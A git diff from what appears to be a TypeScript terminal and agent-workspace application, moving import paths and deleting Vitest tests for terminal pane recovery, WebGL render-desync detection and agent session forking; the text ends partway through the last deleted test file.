diff --git a/src/renderer/src/components/terminal-pane/quick-commands/create-terminal-pane-menu-quick-command.ts b/src/renderer/src/components/terminal-pane/quick-commands/create-terminal-pane-menu-quick-command.ts
index b068ef63ba1..882122504c2 100644
--- a/src/renderer/src/components/terminal-pane/quick-commands/create-terminal-pane-menu-quick-command.ts
+++ b/src/renderer/src/components/terminal-pane/quick-commands/create-terminal-pane-menu-quick-command.ts
@@ -2,7 +2,7 @@ import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types'
 import { isTerminalAgentQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-commands'
 import { sendTerminalQuickCommandToPane } from './terminal-quick-command-dispatch'
-import { runQuickCommandInNewTab } from '@/lib/run-quick-command-in-new-tab'
+import { runQuickCommandInNewTab } from '@/lib/terminal/quick-commands/run-quick-command-in-new-tab'
 import type { UseTerminalPaneContextMenuDeps } from '../context-menu/terminal-pane-context-menu-types'
 
 export function createTerminalPaneMenuQuickCommand({
diff --git a/src/renderer/src/components/terminal-pane/render-health/recovery/terminal-pane-recovery.test.ts b/src/renderer/src/components/terminal-pane/render-health/recovery/terminal-pane-recovery.test.ts
deleted file mode 100644
index 2658be472c3..00000000000
--- a/src/renderer/src/components/terminal-pane/render-health/recovery/terminal-pane-recovery.test.ts
+++ /dev/null
@@ -1,241 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  _resetTerminalPaneRecoveryForTests,
-  requestTerminalPaneRecovery
-} from './terminal-pane-recovery'
-import { requestAndSettle } from './terminal-recovery-ledger-test-driver'
-import {
-  recoveryLedgerMocks as mocks,
-  resetRecoveryLedgerStore,
-  setTerminalTabs,
-  terminalTabs
-} from './terminal-recovery-ledger-test-store'
-import { isTerminalInputQuarantined } from '../../input/terminal-input-quarantine'
-
-const { notifyTerminalInputNotSent } = vi.hoisted(() => ({ notifyTerminalInputNotSent: vi.fn() }))
-vi.mock('../../input/terminal-input-not-sent-notice', () => ({ notifyTerminalInputNotSent }))
-
-vi.mock('@/store/index', async () => {
-  const store = await import('./terminal-recovery-ledger-test-store')
-  return { useAppStore: { getState: () => store.recoveryLedgerStoreState() } }
-})
-
-vi.mock('@/diagnostics/crash-reporting/crash-breadcrumb-recorder', async () => {
-  const store = await import('./terminal-recovery-ledger-test-store')
-  return { recordRendererCrashBreadcrumb: store.recoveryLedgerMocks.recordRendererCrashBreadcrumb }
-})
-
-beforeEach(() => {
-  _resetTerminalPaneRecoveryForTests()
-  notifyTerminalInputNotSent.mockReset()
-  resetRecoveryLedgerStore()
-  setTerminalTabs([{ id: 'tab-1' }, { id: 'tab-ssh' }])
-  vi.stubGlobal('window', {
-    api: { pty: { hasPty: mocks.hasPty } }
-  })
-  vi.spyOn(console, 'warn').mockImplementation(() => {})
-})
-
-afterEach(() => {
-  vi.unstubAllGlobals()
-  vi.restoreAllMocks()
-  vi.useRealTimers()
-})
-
-describe('requestTerminalPaneRecovery', () => {
-  it('records a breadcrumb when the tab cannot be remounted, without consuming budget', async () => {
-    const result = await requestTerminalPaneRecovery({
-      tabId: 'tab-gone',
-      ptyId: 'pty-1',
-      reason: 'restore-blocked'
-    })
-
-    expect(result).toBe(false)
-    expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-      'terminal_pane_recovery_remount_unavailable',
-      { tabId: 'tab-gone', reason: 'restore-blocked' }
-    )
-    // Budget untouched: a later request for the same tab may still remount.
-    setTerminalTabs([...terminalTabs(), { id: 'tab-gone' }])
-    expect(
-      await requestTerminalPaneRecovery({
-        tabId: 'tab-gone',
-        ptyId: 'pty-1',
-        reason: 'restore-blocked'
-      })
-    ).toBe(true)
-  })
-
-  it('reopens a settled failure when the row moves to a new generation', async () => {
-    vi.useFakeTimers()
-    vi.setSystemTime(0)
-    await requestAndSettle(
-      { tabId: 'tab-ssh', ptyId: 'ssh:target@@pty-1', reason: 'reattach-unverifiable' },
-      'failed'
-    )
-    vi.setSystemTime(60_000)
-    expect(
-      await requestTerminalPaneRecovery({
-        tabId: 'tab-ssh',
-        ptyId: 'ssh:target@@pty-1',
-        reason: 'reattach-unverifiable'
-      })
-    ).toBe(false)
-
-    // An SSH authority rotation / activation respawn bumps tab.generation.
-    setTerminalTabs(
-      terminalTabs().map((tab) =>
-        tab.id === 'tab-ssh' ? { ...tab, generation: (tab.generation ?? 0) + 1 } : tab
-      )
-    )
-    expect(
-      await requestTerminalPaneRecovery({
-        tabId: 'tab-ssh',
-        ptyId: 'ssh:target@@pty-1',
-        reason: 'reattach-unverifiable'
-      })
-    ).toBe(true)
-  })
-
-  it('does not reopen a settled failure when a host rebuild drops generation', async () => {
-    // Snapshot omission of generation is not a new recovery trigger; otherwise each republication restores allowance.
-    vi.useFakeTimers()
-    vi.setSystemTime(0)
-    await requestAndSettle(
-      { tabId: 'tab-ssh', ptyId: 'ssh:target@@pty-1', reason: 'reattach-unverifiable' },
-      'failed'
-    )
-    const rebuilt = terminalTabs().map((tab) =>
-      tab.id === 'tab-ssh' ? { id: tab.id, recovery: tab.recovery } : tab
-    )
-    setTerminalTabs(rebuilt)
-
-    vi.setSystemTime(60_000)
-    expect(
-      await requestTerminalPaneRecovery({
-        tabId: 'tab-ssh',
-        ptyId: 'ssh:target@@pty-1',
-        reason: 'reattach-unverifiable'
-      })
-    ).toBe(false)
-  })
-
-  it('recovers input-undeliverable panes when the PTY is alive', async () => {
-    const result = await requestTerminalPaneRecovery({
-      tabId: 'tab-1',
-      ptyId: 'pty-1',
-      reason: 'input-undeliverable'
-    })
-
-    expect(result).toBe(true)
-    expect(mocks.hasPty).toHaveBeenCalledWith('pty-1')
-    expect(mocks.remountTerminalTabForRecovery).toHaveBeenCalledWith('tab-1')
-  })
-
-  it('proceeds when PTY liveness is unknown (probe threw)', async () => {
-    mocks.hasPty.mockRejectedValue(new Error('ipc down'))
-
-    const result = await requestTerminalPaneRecovery({
-      tabId: 'tab-1',
-      ptyId: 'pty-1',
-      reason: 'input-undeliverable'
-    })
-
-    expect(result).toBe(true)
-  })
-
-  it('recovers a remote pane when liveness is authoritative true', async () => {
-    mocks.hasPty.mockResolvedValue(true)
-
-    const result = await requestTerminalPaneRecovery({
-      tabId: 'tab-1',
-      ptyId: 'remote:pty-1',
-      reason: 'input-undeliverable',
-      requireAuthoritativeLiveness: true
-    })
-
-    expect(result).toBe(true)
-    expect(mocks.remountTerminalTabForRecovery).toHaveBeenCalledWith('tab-1')
-  })
-
-  // Local hasPty cannot speak for remote: IDs; none of its answers is owner liveness evidence (STA-2830).
-
-  it('never throws when the store surface is partial (timer/callback contexts)', async () => {
-    // Timer/write-callback recovery with partial store state must return false, never throw.
-    mocks.remountTerminalTabForRecovery.mockImplementation(() => {
-      throw new TypeError('remountTerminalTabForRecovery is not a function')
-    })
-
-    await expect(
-      requestTerminalPaneRecovery({ tabId: 'tab-1', ptyId: 'pty-1', reason: 'write-stalled' })
-    ).resolves.toBe(false)
-    // Breadcrumb failures because unconsumed budgets permit otherwise invisible cooldown retry loops.
-    expect(mocks.recordRendererCrashBreadcrumb).toHaveBeenCalledWith(
-      'terminal_pane_recovery_failed',
-      { tabId: 'tab-1', reason: 'write-stalled' }
-    )
-  })
-
-  // Same-shell recovery cannot quarantine legitimate typing; only possible endpoint replacement may arm it (#10065).
-  describe('input quarantine arming', () => {
-    it('arms after a replaced endpoint so the mangled line cannot be submitted', async () => {
-      const result = await requestTerminalPaneRecovery({
-        tabId: 'tab-1',
-        ptyId: 'pty-1',
-        reason: 'input-undeliverable',
-        endpointReplaced: true
-      })
-
-      expect(result).toBe(true)
-      expect(isTerminalInputQuarantined('tab-1')).toBe(true)
-    })
-
-    it('warns that input the host never applied is gone with the old shell', async () => {
-      const result = await requestTerminalPaneRecovery({
-        tabId: 'tab-1',
-        ptyId: 'pty-1',
-        reason: 'input-rejected-by-host',
-        endpointReplaced: true,
-        hasUndeliveredInput: () => true
-      })
-
-      expect(result).toBe(true)
-      expect(notifyTerminalInputNotSent).toHaveBeenCalledWith('tab-1')
-    })
-
-    it('does not arm when the same live shell is reattached', async () => {
-      const result = await requestTerminalPaneRecovery({
-        tabId: 'tab-1',
-        ptyId: 'pty-1',
-        reason: 'input-undeliverable'
-      })
-
-      expect(result).toBe(true)
-      expect(isTerminalInputQuarantined('tab-1')).toBe(false)
-    })
-
-    it('does not arm for a stalled write pipeline', async () => {
-      await requestTerminalPaneRecovery({
-        tabId: 'tab-1',
-        ptyId: 'pty-1',
-        reason: 'write-stalled'
-      })
-
-      expect(isTerminalInputQuarantined('tab-1')).toBe(false)
-    })
-
-    it('does not arm when the remount never happened', async () => {
-      const result = await requestTerminalPaneRecovery({
-        tabId: 'tab-gone',
-        ptyId: 'pty-1',
-        reason: 'input-undeliverable',
-        endpointReplaced: true
-      })
-
-      expect(result).toBe(false)
-      expect(isTerminalInputQuarantined('tab-gone')).toBe(false)
-    })
-  })
-
-  // Crash b5cfc6ca admitted thousands of remounts because disposal erased a module budget through a divergent tab index. Fresh epochs cannot bound this loop; durable row-ledger failure evidence must.
-})
diff --git a/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts b/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts
deleted file mode 100644
index e622a0db430..00000000000
--- a/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts
+++ /dev/null
@@ -1,383 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-const forEachLivePaneForDesyncSentinel = vi.fn()
-const resetAndRefreshAllTerminalWebglAtlases = vi.fn()
-vi.mock('@/lib/pane-manager/pane-manager-registry', () => ({
-  forEachLivePaneForDesyncSentinel: (
-    ...args: Parameters<typeof forEachLivePaneForDesyncSentinel>
-  ) => forEachLivePaneForDesyncSentinel(...args),
-  resetAndRefreshAllTerminalWebglAtlases: () => resetAndRefreshAllTerminalWebglAtlases()
-}))
-
-const recordTerminalWebglDiagnostic = vi.fn()
-const documentAddEventListener = vi.fn()
-const documentRemoveEventListener = vi.fn()
-class FakeNode {}
-const writeTerminalRenderDesyncEvidence = vi.fn().mockResolvedValue({
-  directory: '/evidence/capture',
-  pngPath: '/evidence/capture/corrupt.png',
-  metadataPath: '/evidence/capture/corrupt.json'
-})
-vi.mock('../../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics', () => ({
-  recordTerminalWebglDiagnostic: (...args: Parameters<typeof recordTerminalWebglDiagnostic>) =>
-    recordTerminalWebglDiagnostic(...args)
-}))
-
-import {
-  getRenderDesyncEvidence,
-  sampleRenderDesyncOnce,
-  stopTerminalRenderDesyncSentinelForTesting
-} from './terminal-render-desync-sentinel'
-import {
-  maybeStartTerminalRenderDesyncSentinel,
-  RENDER_DESYNC_SENTINEL_FLAG,
-  stopTerminalRenderDesyncTriggerForTesting
-} from './terminal-render-desync-trigger'
-
-function fakePane(overrides: { paused?: boolean } = {}) {
-  const refreshRows = vi.fn()
-  const terminal = {
-    element: { contains: vi.fn(() => false) },
-    rows: 24,
-    cols: 80,
-    buffer: {
-      active: {
-        cursorY: 23,
-        viewportY: 0,
-        getLine: () => ({
-          getCell: () => ({ getChars: () => 'x', getWidth: () => 1 }),
-          translateToString: () => 'x'.repeat(80)
-        })
-      }
-    },
-    _core: {
-      _renderService: {
-        _isPaused: overrides.paused === true,
-        refreshRows,
-        _renderer: {
-          value: {
-            _canvas: { width: 800, height: 480, toDataURL: () => 'data:image/png;base64,' },
-            _charAtlas: {},
-            _themeService: { colors: { background: { rgba: 0x000000ff } } },
-            dimensions: { device: { cell: { width: 10, height: 20 } } }
-          }
-        }
-      }
-    }
-  }
-  return { pane: { id: 1, terminal }, refreshRows }
-}
-
-function divergenceOf(cells: number[], textCells = 1000) {
-  return {
-    textCells,
-    missing: cells.length,
-    missingCells: new Set(cells),
-    missPct: (100 * cells.length) / textCells
-  }
-}
-
-const manyCells = (offset: number) => Array.from({ length: 120 }, (_, i) => offset + i)
-
-describe('terminal-render-desync-sentinel', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    writeTerminalRenderDesyncEvidence.mockResolvedValue({
-      directory: '/evidence/capture',
-      pngPath: '/evidence/capture/corrupt.png',
-      metadataPath: '/evidence/capture/corrupt.json'
-    })
-    vi.stubGlobal('window', { api: { app: { writeTerminalRenderDesyncEvidence } } })
-    vi.stubGlobal('document', {
-      addEventListener: documentAddEventListener,
-      removeEventListener: documentRemoveEventListener
-    })
-    vi.stubGlobal('navigator', { userAgent: 'Mac' })
-    vi.stubGlobal('Node', FakeNode)
-  })
-  afterEach(() => {
-    stopTerminalRenderDesyncSentinelForTesting()
-    stopTerminalRenderDesyncTriggerForTesting()
-    vi.unstubAllGlobals()
-  })
-
-  function sampleWith(
-    divergence: ReturnType<typeof divergenceOf> | null,
-    paused = false,
-    paneKey = 'm1:p1'
-  ) {
-    const { pane, refreshRows } = fakePane({ paused })
-    forEachLivePaneForDesyncSentinel.mockImplementation(
-      (visit: (key: string, pane: unknown) => void) => visit(paneKey, pane)
-    )
-    sampleRenderDesyncOnce(() => divergence)
-    return { refreshRows }
-  }
-
-  it('persists and recovers after the same cells stay missing twice', async () => {
-    const cells = manyCells(0)
-    sampleWith(divergenceOf(cells))
-    expect(recordTerminalWebglDiagnostic).not.toHaveBeenCalled()
-    sampleWith(divergenceOf(cells))
-    expect(recordTerminalWebglDiagnostic).toHaveBeenCalledWith(
-      'webgl-render-desync',
-      expect.objectContaining({ paneKey: 'm1:p1', missing: 120 })
-    )
-    await vi.waitFor(() => expect(resetAndRefreshAllTerminalWebglAtlases).toHaveBeenCalledTimes(1))
-    expect(writeTerminalRenderDesyncEvidence).toHaveBeenCalledWith(
-      expect.objectContaining({
-        phase: 'corrupt',
-        metadata: expect.objectContaining({
-          bufferText: expect.stringContaining('x'),
-          trigger: 'divergence',
-          weightProbe: expect.objectContaining({
-            totalTextCells: expect.any(Number),
-            boldTextCells: expect.any(Number)
-          })
-        })
-      })
-    )
-    expect(getRenderDesyncEvidence()).toHaveLength(1)
-    expect(getRenderDesyncEvidence()[0].bufferText).toBeUndefined()
-    expect(getRenderDesyncEvidence()[0].livePngDataUrl).toBeUndefined()
-  })
-
-  it('does not redraw before measuring the compositor-presented canvas', () => {
-    const { refreshRows } = sampleWith(divergenceOf(manyCells(0)))
-    expect(refreshRows).not.toHaveBeenCalled()
-  })
-
-  it('does not trip when the missing cells move between samples (scroll lag)', () => {
-    sampleWith(divergenceOf(manyCells(0)))
-    sampleWith(divergenceOf(manyCells(500)))
-    sampleWith(divergenceOf(manyCells(1000)))
-    sampleWith(divergenceOf(manyCells(1500)))
-    expect(recordTerminalWebglDiagnostic).not.toHaveBeenCalled()
-    expect(resetAndRefreshAllTerminalWebglAtlases).not.toHaveBeenCalled()
-  })
-
-  it('does not trip below the missing-percentage threshold', () => {
-    const few = Array.from({ length: 10 }, (_, i) => i)
-    sampleWith(divergenceOf(few))
-    sampleWith(divergenceOf(few))
-    expect(recordTerminalWebglDiagnostic).not.toHaveBeenCalled()
-  })
-
-  it('requires consecutive threshold breaches', () => {
-    const cells = manyCells(0)
-    sampleWith(divergenceOf(cells))
-    sampleWith(divergenceOf(Array.from({ length: 10 }, (_, i) => i)))
-    sampleWith(divergenceOf(cells))
-
-    expect(recordTerminalWebglDiagnostic).not.toHaveBeenCalled()
-    expect(resetAndRefreshAllTerminalWebglAtlases).not.toHaveBeenCalled()
-  })
-
-  it('caps capture writes while preserving recovery after the budget is spent', async () => {
-    for (let pane = 1; pane <= 5; pane++) {
-      sampleWith(divergenceOf(manyCells(0)), false, `m1:p${pane}`)
-      sampleWith(divergenceOf(manyCells(0)), false, `m1:p${pane}`)
-    }
-
-    // Wait on recovery resets, not writes, so persistence microtask depth cannot race the assertion.
-    await vi.waitFor(() => expect(resetAndRefreshAllTerminalWebglAtlases).toHaveBeenCalledTimes(5))
-    expect(writeTerminalRenderDesyncEvidence).toHaveBeenCalledTimes(4)
-    expect(getRenderDesyncEvidence()).toHaveLength(4)
-  })
-
-  it('does not spend the capture budget on failed persistence attempts', async () => {
-    writeTerminalRenderDesyncEvidence.mockRejectedValue(new Error('disk unavailable'))
-
-    for (let pane = 1; pane <= 5; pane++) {
-      sampleWith(divergenceOf(manyCells(0)), false, `m1:p${pane}`)
-      sampleWith(divergenceOf(manyCells(0)), false, `m1:p${pane}`)
-      await vi.waitFor(() => expect(writeTerminalRenderDesyncEvidence).toHaveBeenCalledTimes(pane))
-      await vi.waitFor(() => expect(getRenderDesyncEvidence()).toHaveLength(0))
-    }
-
-    expect(getRenderDesyncEvidence()).toHaveLength(0)
-    expect(resetAndRefreshAllTerminalWebglAtlases).not.toHaveBeenCalled()
-  })
-
-  it('resets tracking for paused panes instead of sampling them', () => {
-    const cells = manyCells(0)
-    sampleWith(divergenceOf(cells))
-    sampleWith(divergenceOf(cells), true)
-    sampleWith(divergenceOf(cells))
-    expect(recordTerminalWebglDiagnostic).not.toHaveBeenCalled()
-  })
-
-  it('stays disarmed without the flag and starts a burst on modifier-click', () => {
-    vi.useFakeTimers()
-    try {
-      const storage = new Map<string, string>()
-      vi.stubGlobal('localStorage', {
-        getItem: (k: string) => storage.get(k) ?? null,
-        setItem: (k: string, v: string) => storage.set(k, v)
-      })
-      maybeStartTerminalRenderDesyncSentinel()
-      expect(documentAddEventListener).not.toHaveBeenCalled()
-      const { pane } = fakePane()
-      const target = new FakeNode()
-      expect(forEachLivePaneForDesyncSentinel).not.toHaveBeenCalled()
-      expect(writeTerminalRenderDesyncEvidence).not.toHaveBeenCalled()
-
-      storage.set(RENDER_DESYNC_SENTINEL_FLAG, '1')
-      maybeStartTerminalRenderDesyncSentinel()
-      ;(
-        pane.terminal as never as {
-          _core: { _renderService: { _renderer: { value: { _canvas: { width: number } } } } }
-        }
-      )._core._renderService._renderer.value._canvas.width = 0
-      ;(
-        pane.terminal as { element: { contains: ReturnType<typeof vi.fn> } }
-      ).element.contains.mockReturnValue(true)
-      forEachLivePaneForDesyncSentinel.mockImplementation(
-        (visit: (key: string, pane: unknown) => void) => visit('m1:p1', pane)
-      )
-      const listener = documentAddEventListener.mock.calls.at(-1)?.[1]
-      listener({ button: 0, metaKey: true, ctrlKey: true, target })
-      vi.advanceTimersByTime(300)
-      expect(forEachLivePaneForDesyncSentinel).toHaveBeenCalled()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('shift-modifier-click captures immediately and leaves the pane unrecovered', async () => {
-    const storage = new Map<string, string>([[RENDER_DESYNC_SENTINEL_FLAG, '1']])
-    vi.stubGlobal('localStorage', {
-      getItem: (k: string) => storage.get(k) ?? null,
-      setItem: (k: string, v: string) => storage.set(k, v)
-    })
-    maybeStartTerminalRenderDesyncSentinel()
-    const { pane } = fakePane()
-    ;(
-      pane.terminal as { element: { contains: ReturnType<typeof vi.fn> } }
-    ).element.contains.mockReturnValue(true)
-    forEachLivePaneForDesyncSentinel.mockImplementation(
-      (visit: (key: string, pane: unknown) => void) => visit('m1:p1', pane)
-    )
-    const listener = documentAddEventListener.mock.calls.at(-1)?.[1]
-    listener({ button: 0, metaKey: true, ctrlKey: true, shiftKey: true, target: new FakeNode() })
-
-    await vi.waitFor(() => expect(writeTerminalRenderDesyncEvidence).toHaveBeenCalledTimes(1))
-    expect(writeTerminalRenderDesyncEvidence).toHaveBeenCalledWith(
-      expect.objectContaining({
-        phase: 'corrupt',
-        metadata: expect.objectContaining({ trigger: 'manual' })
-      })
-    )
-    expect(recordTerminalWebglDiagnostic).toHaveBeenCalledWith(
-      'webgl-render-desync-manual-capture',
-      expect.objectContaining({ paneKey: 'm1:p1' })
-    )
-    expect(resetAndRefreshAllTerminalWebglAtlases).not.toHaveBeenCalled()
-  })
-})
-
-describe('sentinel arming surface', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-  })
-  afterEach(() => {
-    stopTerminalRenderDesyncSentinelForTesting()
-    stopTerminalRenderDesyncTriggerForTesting()
-    vi.useRealTimers()
-    vi.unstubAllGlobals()
-  })
-
-  it('arms live on enable and removes the listener on disable', async () => {
-    const storage = new Map<string, string>()
-    vi.stubGlobal('localStorage', {
-      getItem: (k: string) => storage.get(k) ?? null,
-      setItem: (k: string, v: string) => storage.set(k, v),
-      removeItem: (k: string) => storage.delete(k)
-    })
-    vi.stubGlobal('document', {
-      addEventListener: documentAddEventListener,
-      removeEventListener: documentRemoveEventListener
-    })
-    vi.stubGlobal('navigator', { userAgent: 'Mac' })
-    const { isTerminalRenderDesyncSentinelArmed, setTerminalRenderDesyncSentinelArmed } =
-      await import('./terminal-render-desync-trigger')
-
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(false)
-    setTerminalRenderDesyncSentinelArmed(true)
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(true)
-    expect(documentAddEventListener).toHaveBeenCalledWith('mouseup', expect.any(Function), true)
-
-    setTerminalRenderDesyncSentinelArmed(false)
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(false)
-    expect(documentRemoveEventListener).toHaveBeenCalledWith('mouseup', expect.any(Function), true)
-  })
-
-  it('keeps the live arming state when storage is unavailable', async () => {
-    vi.stubGlobal('localStorage', {
-      getItem: () => {
-        throw new Error('storage unavailable')
-      },
-      setItem: () => {
-        throw new Error('storage unavailable')
-      },
-      removeItem: () => {
-        throw new Error('storage unavailable')
-      }
-    })
-    vi.stubGlobal('document', {
-      addEventListener: documentAddEventListener,
-      removeEventListener: documentRemoveEventListener
-    })
-    const { isTerminalRenderDesyncSentinelArmed, setTerminalRenderDesyncSentinelArmed } =
-      await import('./terminal-render-desync-trigger')
-
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(false)
-    setTerminalRenderDesyncSentinelArmed(true)
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(true)
-    expect(documentAddEventListener).toHaveBeenCalledWith('mouseup', expect.any(Function), true)
-
-    setTerminalRenderDesyncSentinelArmed(false)
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(false)
-    expect(documentRemoveEventListener).toHaveBeenCalledWith('mouseup', expect.any(Function), true)
-  })
-
-  it('stops an active sampling burst when disarmed', async () => {
-    vi.useFakeTimers()
-    const storage = new Map<string, string>()
-    vi.stubGlobal('localStorage', {
-      getItem: (k: string) => storage.get(k) ?? null,
-      setItem: (k: string, v: string) => storage.set(k, v),
-      removeItem: (k: string) => storage.delete(k)
-    })
-    vi.stubGlobal('document', {
-      addEventListener: documentAddEventListener,
-      removeEventListener: documentRemoveEventListener
-    })
-    vi.stubGlobal('navigator', { userAgent: 'Mac' })
-    vi.stubGlobal('Node', FakeNode)
-    const { isTerminalRenderDesyncSentinelArmed, setTerminalRenderDesyncSentinelArmed } =
-      await import('./terminal-render-desync-trigger')
-    const { pane } = fakePane()
-    ;(
-      pane.terminal as never as {
-        _core: { _renderService: { _renderer: { value: { _canvas: { width: number } } } } }
-      }
-    )._core._renderService._renderer.value._canvas.width = 0
-    ;(
-      pane.terminal as { element: { contains: ReturnType<typeof vi.fn> } }
-    ).element.contains.mockReturnValue(true)
-    forEachLivePaneForDesyncSentinel.mockImplementation(
-      (visit: (key: string, pane: unknown) => void) => visit('m1:p1', pane)
-    )
-
-    setTerminalRenderDesyncSentinelArmed(true)
-    const listener = documentAddEventListener.mock.calls.at(-1)?.[1]
-    listener({ button: 0, metaKey: true, target: new FakeNode() })
-    expect(forEachLivePaneForDesyncSentinel).toHaveBeenCalledTimes(2)
-
-    setTerminalRenderDesyncSentinelArmed(false)
-    vi.advanceTimersByTime(1_000)
-    expect(isTerminalRenderDesyncSentinelArmed()).toBe(false)
-    expect(forEachLivePaneForDesyncSentinel).toHaveBeenCalledTimes(2)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-weight-probe.ts b/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-weight-probe.ts
index 4f561f9f292..8d1b2d37be0 100644
--- a/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-weight-probe.ts
+++ b/src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-weight-probe.ts
@@ -1,6 +1,6 @@
 import { recordTerminalWebglDiagnostic } from '../../../../../shared/terminal/diagnostics/terminal-webgl-diagnostics'
 import { resolveTerminalFontWeights } from '../../../../../shared/terminal/appearance/terminal-fonts'
-import { hasDeferredPaneMetricOptions } from '@/lib/pane-manager/pane-metric-options-deferral'
+import { hasDeferredPaneMetricOptions } from '@/lib/pane-manager/terminal-fit/pane-metric-options-deferral'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import type { BufferLike } from './terminal-render-desync-frame'
 
diff --git a/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.test.ts b/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.test.ts
deleted file mode 100644
index 09e467af391..00000000000
--- a/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.test.ts
+++ /dev/null
@@ -1,605 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
-
-const mockLaunchAgentInNewTab = vi.fn()
-const mockActivateAndRevealWorktree = vi.fn()
-const mockCreateWorktree = vi.fn()
-const mockToast = {
-  error: vi.fn(),
-  message: vi.fn(),
-  success: vi.fn()
-}
-const mockWriteClipboardText = vi.fn(async () => undefined)
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-
-const projects: {
-  id: string
-  sourceRepoIds: string[]
-  localWindowsRuntimePreference?: { kind: 'windows-host' } | { kind: 'wsl'; distro: string }
-}[] = []
-
-const repos: { id: string; kind?: 'git' | 'folder'; connectionId?: string | null }[] = []
-
-const store = {
-  activeRepoId: 'repo-1',
-  activeWorktreeId: 'wt-1',
-  projects,
-  repos,
-  settings: {} as {
-    localWindowsRuntimeDefault?: { kind: 'windows-host' } | { kind: 'wsl'; distro: string }
-  },
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: an empty test catalog; rows are typed below.
-  worktreesByRepo: {} as Record<
-    string,
-    {
-      id: string
-      repoId: string
-      path?: string
-      projectId?: string
-      hostId?: 'local' | 'ssh:box'
-      runtimeOwnerEnvironmentId?: string
-    }[]
-  >,
-  agentStatusByPaneKey: {} as Record<string, { agentType?: string }>,
-  tabsByWorktree: {} as Record<string, { id: string; launchAgent?: string | null }[]>,
-  getKnownWorktreeById: vi.fn(),
-  createWorktree: mockCreateWorktree
-}
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => store
-  }
-}))
-
-vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', () => ({
-  launchAgentInNewTab: mockLaunchAgentInNewTab
-}))
-
-vi.mock('@/lib/workspace/activation/worktree-activation', () => ({
-  activateAndRevealWorktree: mockActivateAndRevealWorktree
-}))
-
-vi.mock('sonner', () => ({
-  toast: mockToast
-}))
-
-function makePane(capturedText: string): ManagedPane {
-  return {
-    leafId: LEAF_ID,
-    serializeAddon: {
-      serialize: vi.fn(() => capturedText)
-    },
-    terminal: {
-      focus: vi.fn()
-    }
-  } as unknown as ManagedPane
-}
-
-describe('forkAgentSessionFromPane', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    store.activeRepoId = 'repo-1'
-    store.activeWorktreeId = 'wt-1'
-    store.projects = [
-      {
-        id: 'repo-1',
-        sourceRepoIds: ['repo-1']
-      }
-    ]
-    store.repos = [{ id: 'repo-1', kind: 'git' }]
-    store.settings = { localWindowsRuntimeDefault: { kind: 'windows-host' } }
-    store.worktreesByRepo = {
-      'repo-1': [
-        { id: 'wt-1', repoId: 'repo-1', path: 'C:\\repo', projectId: 'repo-1', hostId: 'local' }
-      ]
-    }
-    store.agentStatusByPaneKey = {}
-    store.tabsByWorktree = { 'wt-1': [{ id: 'tab-1' }] }
-    store.getKnownWorktreeById.mockReturnValue({
-      id: 'wt-1',
-      repoId: 'repo-1',
-      displayName: 'auth-feature',
-      branch: 'feature/auth'
-    })
-    mockCreateWorktree.mockResolvedValue({
-      worktree: {
-        id: 'wt-fork'
-      }
-    })
-    mockLaunchAgentInNewTab.mockImplementation((args) => {
-      args.beforeSurfaceOpen?.({ kind: 'local-terminal' })
-      return {
-        surface: { kind: 'local-terminal', tabId: 'tab-2' },
-        startupPlan: {},
-        pasteDraftAfterLaunch: true
-      }
-    })
-    mockWriteClipboardText.mockResolvedValue(undefined)
-    vi.stubGlobal('window', {
-      api: {
-        ui: {
-          writeTerminalClipboardText: mockWriteClipboardText
-        },
-        platform: {
-          get: () => ({ platform: 'win32' })
-        }
-      }
-    })
-  })
-
-  it('creates a top-level workspace fork with a draft agent tab when the source agent is known', async () => {
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'codex' }
-    }
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: compare OAuth options'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: 'group-1'
-    })
-
-    expect(mockCreateWorktree).toHaveBeenCalledWith(
-      'repo-1',
-      'auth-feature-fork',
-      'feature/auth',
-      'inherit',
-      undefined,
-      'terminal_context_menu',
-      'Fork of auth-feature',
-      undefined,
-      undefined,
-      undefined,
-      'codex',
-      ...Array(14).fill(undefined),
-      { executionHostId: 'local' }
-    )
-
-    expect(mockLaunchAgentInNewTab).toHaveBeenCalledWith(
-      expect.objectContaining({
-        agent: 'codex',
-        worktreeId: 'wt-fork',
